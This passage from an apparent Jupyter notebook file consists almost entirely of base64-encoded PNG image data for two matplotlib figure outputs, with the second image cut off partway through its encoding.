svfdJW+FatOslgJfA3bP\n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\nkiRJkpTo/wP3Fyt/wXU5FQAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c2067b588>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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\nY0yHxit/nauVekpRL6pdzdpL861r3DXeQ4MP1NUaDwAQjCADSH8l6Y/ybl+S1CfpaPb230l6h6R/\nJunb1tpZa+0LkpqMMZ0Bjqvu5Bd+Tvb3Ufw5y8/FMcU5AQClaho5lnttdv9LTJT25r6coNDIS7UR\nBFqK+Wo9Ol3dSg0N68KOXTV/fNzN4nKP5O3YsCuwI3m1EvQDAMRXYEfYrLVnJckY0ybp65I+KulR\na+1s9iFnJF0habWkl/O+1L3/1ELX7uhYoaYmUnBLlrxRslZ67DHp/vvV3u5I389+Krmq8KHJVepc\n0xbCIEOwcrlWdpbwvT73nHTxbOaxk5d/XsnkKsn9+nvu9mVIT//8aW27fpsv15KkzlK+P0QG8xl9\nzGG8VDyfK5dr5Tyvvyrhes//1Kqzs+g1x3GksbHMa1VyRe5I9cqVy5c2xs62TLHnyTF9Z/w72t1+\na0VjDsTaN0nPXK3Wte0VX6La/x7XXvUm/dq5Q2uvaldn542y91k99oPH9OaeG/05WrZyecG6rt7W\nePx9jRfmM3qYs/oQaBFtY8x6Sd+U9CVr7QFjzB/nfbpN0pSk09mPi+9f0OTkeb+HGn8dV2tFyyqd\n77haqanR3N2p1NmCh6VSZ3UqfabaowvFinPTOn9q8e81kTqr1gszOnvqjLT6NUoMDat13x6dXf0a\nqYSvL8ezYz/QpjW3+XKtzs42nfJ5fAgP8xl9zGG8lDOfuXpCjqPExLhaT/5KF06dVjLvManUWTkl\nXO/cuek5z5sYG1WyP1P3JvVv/12uPt98jy2V+xo5NjWaq6nztv6ndFMFYw5Kqa/j8wnr3+OmNbfl\nnrdDV6tldpVSLy9hXZv9nZKk1pO/0urpNbni46svvabg2Fqc13j8fY0X5jN6mLN48QoGBllE+ypJ\n35Z0n7X2u9m7f2yMGbDWHlGmLtJhSb+Q9MfGmEclrZPUaK19Kahx4XIa9dETh3PFFetKdrHVOJnK\n7NouUvza6enNFMmWcoWzKZoNACiV24jBPbYmSdPvvL2sa+QaXlxMyUk7nhkr5Tx27hcXvUaipuX/\nTknShZ271dND8XEAQDCCrIH0h5I6JP2RMeaIMeaIMsfYHjHGDElqlvR1a+2wpEFJQ5K+Ien3AxwT\ndLmzyb037FKiMZELKN335vvUtbo7k64+Naonj++Vk47f4jG/JlSpNScAAAiTWwx5/8je3MbPQs0g\n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\nWyRyZvOAlOBPHAAAqD0L1Wjzo1taTdV/yw